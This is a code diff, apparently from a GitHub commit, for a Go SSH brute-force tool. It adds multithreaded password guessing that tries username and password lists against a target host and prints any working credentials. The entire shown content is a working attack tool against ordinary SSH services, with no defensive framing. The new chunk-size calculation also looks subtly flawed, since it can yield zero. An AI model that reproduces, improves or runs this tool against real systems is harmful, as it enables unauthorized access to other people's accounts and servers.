@@ -38,11 +38,13 @@ func main() {
3838 var port uint
3939 var user string
4040 var proto string
41+ var threads int
4142 var passlist string
4243 var userlist string
4344 var timeout time.Duration
4445
4546 flag .UintVar (& port , "port" , 22 , "Specifies the port on which target is hosting it's ssh service" )
47+ flag .IntVar (& threads , "threads" , 16 , "Specify the number of threads to use for the attack." )
4648
4749 flag .StringVar (& proto , "proto" , "tcp" , "Specify protocol used for the attack. (tcp/udp)" )
4850
@@ -59,10 +61,10 @@ func main() {
5961 timeout = time .Duration (t ) * time .Millisecond
6062 target := os .Args [len (os .Args )- 1 ]
6163
62- attack (proto , target , port , user , userlist , passlist , timeout )
64+ attack (proto , target , port , user , userlist , passlist , timeout , threads )
6365}
6466
65- func attack (proto string , host string , port uint , username string , userlist string , passlist string , timeout time.Duration ) {
67+ func attack (proto string , host string , port uint , username string , userlist string , passlist string , timeout time.Duration , threads int ) {
6668 var wg sync.WaitGroup
6769 var usernames = []string {username }
6870
@@ -80,21 +82,32 @@ func attack(proto string, host string, port uint, username string, userlist stri
8082
8183 for _ , uname := range usernames {
8284 wg .Add (1 )
83- go attackWithUsername (proto , host , uname , passwords , timeout , port , & wg )
85+ go attackUser (proto , host , uname , passwords , timeout , port , & wg , threads )
8486 }
8587 wg .Wait ()
8688
8789}
8890
89- func attackWithUsername (proto , host , username string , passlist []string , timeout time.Duration , port uint , wg * sync.WaitGroup ) {
90- for _ , pass := range passlist {
91- ok , _ := src .AttemptConnection (proto , username , host , pass , port , timeout )
92- if ok {
91+ func attackUser (proto , host , username string , passwords []string , timeout time.Duration , port uint , wg * sync.WaitGroup , threads int ) {
92+ var w sync.WaitGroup
93+ pswds := seperateIntoThreads (passwords , threads )
94+
95+ for _ , p := range pswds {
96+ w .Add (1 )
97+ go worker (proto , host , username , p , timeout , port , & w )
98+ }
99+ w .Wait ()
100+ wg .Done ()
101+ }
102+
103+ func worker (proto , host , username string , passwords []string , timeout time.Duration , port uint , w * sync.WaitGroup ) {
104+ for _ , pass := range passwords {
105+ if ok , _ := src .AttemptConnection (proto , username , host , pass , port , timeout ); ok {
93106 fmt .Println (utils .ColorIt (utils .ColorGreen , fmt .Sprintf ("[+]: Found Working login:\n \t Username: %s\n \t Password: %s" , username , pass )))
107+ break
94108 }
95- wg .Done ()
96109 }
97-
110+ w . Done ()
98111}
99112
100113func splitPasslist (passlist string ) []string {
@@ -106,3 +119,30 @@ func splitPasslist(passlist string) []string {
106119
107120 return strings .Split (string (file ), "\n " )
108121}
122+
123+ func seperateIntoThreads (passwords []string , threads int ) (res [][]string ) {
124+ var threadLen int
125+
126+ if len (passwords ) < threads {
127+ threadLen = threads
128+ } else {
129+ threadLen = (len (passwords ) / threads ) % 100
130+ }
131+
132+ return chunkSlice (passwords , threadLen )
133+ }
134+
135+ func chunkSlice (slice []string , chunkSize int ) [][]string {
136+ var chunks [][]string
137+ for i := 0 ; i < len (slice ); i += chunkSize {
138+ end := i + chunkSize
139+
140+ if end > len (slice ) {
141+ end = len (slice )
142+ }
143+
144+ chunks = append (chunks , slice [i :end ])
145+ }
146+
147+ return chunks
148+ }
0 commit comments